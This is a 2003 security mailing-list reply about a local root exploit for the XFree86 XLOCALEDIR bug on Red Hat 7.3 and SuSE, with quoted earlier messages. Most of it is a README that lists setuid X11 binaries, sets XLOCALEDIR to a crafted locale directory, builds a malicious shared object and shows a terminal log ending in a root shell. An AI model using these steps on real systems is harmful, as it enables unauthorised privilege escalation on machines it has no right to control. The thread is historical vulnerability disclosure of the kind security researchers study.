Re: xscreensaver exploit for Redhat 7.3

From: H D Moore (
Date: 03/09/03

  • Next message: Adam Gilmore: "RE: xscreensaver exploit for Redhat 7.3"
    From: H D Moore <>
    To: "Adam Gilmore" <>, <>
    Date: Sun, 9 Mar 2003 02:51:19 -0600

    An old exploit I wrote for the XLOCALEDIR search path bug, it should apply
    to a default Red Hat 7.3 install...

    $ cat README
    This is an exploit for a bug in xf86 4.2.0 and below, an announcement was
    made by SuSE, with id SuSE-SA:2002:032.
    There is one major caveat to it though, the setuid application you call
    has to call XtAppInitialize as root. The "xterm" example in the
    tarball will absolutely not work, because it drops privileges before
    initializing the application...
    $ ./xterm
    ** calling XtSetLanguageProc as 500/0
    ** called XtSetLanguageProc as 500/0
    ( xterm drops privs here )
    ** XtSetErrorHandler: 500/500
    ** XtAppInitialize: 500/500
    ** not launching a shell, since we are running as id 500 (<-
    ** XtSetErrorHandler: 500/500
    ** XtGetApplicationResources: 500/500
    Failed to open input method
    (complains that the locale stuff is broken)
    (launches xterm)
    So.. For this to be useful at all, you have to find a setuid app which
    doesn't drop privileges until after the XtAppInitialize call :(
    To get a list of all suid's linked against libX11:
    # find / -perm +4000 -type f | xargs -i bash -c 'echo "Testing {}";ldd
    {}|grep X11'
    Once you find a linked binary (not xterm or cardinfo though), edit
    and change the xterm line to the name of the binary. Execute
    and see if it drops a root shell ;)
    The "dga" setuid on SuSE 8.0 gives root in a default install, just don't
    run the exploit with the same X display as the one you are using or dga
    will more than likely crash it. Either run the exploit from the console
    (or remote connection), setting the display to :0.0, or start a second X
    server up just to exploit (method used below).
    hdm@masada:/projects/xlocaledir> cat
    rm -rf locale
    cp -a /usr/lib/X11/locale locale
    make clean
    cp locale/common/
    export XLOCALEDIR=`pwd`/locale
    # call your setuid here...
    hdm@masada:/projects/xlocaledir> Xwrapper :1 &
    [1] 1480
    XFree86 Version 4.2.0 / X Window System
    (protocol Version 11, revision 0, vendor release 6600)
    Release Date: 23 January 2002
            If the server is older than 6-12 months, or if your card is
            newer than the above date, look for a newer version before
            reporting problems.  (See http://www.XFree86.Org/)
    Build Operating System: SuSE Linux [ELF] SuSE
    Module Loader present
    Markers: (--) probed, (**) from config file, (==) default setting,
             (++) from command line, (!!) notice, (II) informational,
             (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
    (==) Log file: "/var/log/XFree86.1.log", Time: Thu Sep 19 13:45:56 2002
    (==) Using config file: "/etc/X11/XF86Config"
    (II) [GLX]: Calling GlxExtensionInit
    hdm@masada:/projects/xlocaledir> export DISPLAY=:1.0
    hdm@masada:/projects/xlocaledir> ./
    /bin/rm -f   exploit.o
    gcc -fPIC -c exploit.c
    gcc -shared -nostdlib exploit.o -o
    1 addr:0x40227000, width 1792, bank size 33357824, depth 24 planes
    ** attempting to drop a root shell...
    sh-2.05# (II) [GLX]: Calling GlxExtensionInit
    sh-2.05# id
    uid=0(root) gid=100(users)
    On Saturday 08 March 2003 02:47 am, Adam Gilmore wrote:
    > I don't think there are any vulnerabilities for the default
    > installation of RH7.3 (as far as suid root apps go). I tested this
    > vulnerability on xterm as well, but it seems xterm on RH7.3 drops root
    > privileges before it overflows. And besides, xterm isn't setuid root on
    > RH7.3 by default. So this isn't a *major* security risk for rh.
    > -----Original Message-----
    > From: Inode []
    > Sent: Saturday, 8 March 2003 6:46 AM
    > To:
    > Subject: Re: xscreensaver exploit for Redhat 7.3
    > Hi all,
    > exploit attached.
    > Comments are welcome.
    > Sincerely,
    > +-------------------------------------------------------------------+
    > | Agazzini Maurizio                       Tel:   +39-011-32.72.100  |
    > | Security Analyst                        Fax:   +39-011-32.46.497  |
    > | @ S.R.L.          D.S.D. Data Security Division  |
    > |
    > | PGP Key   :                   |
    > | Disclaimer:                   |
    > +-------------------------------------------------------------------+

  • Next message: Adam Gilmore: "RE: xscreensaver exploit for Redhat 7.3"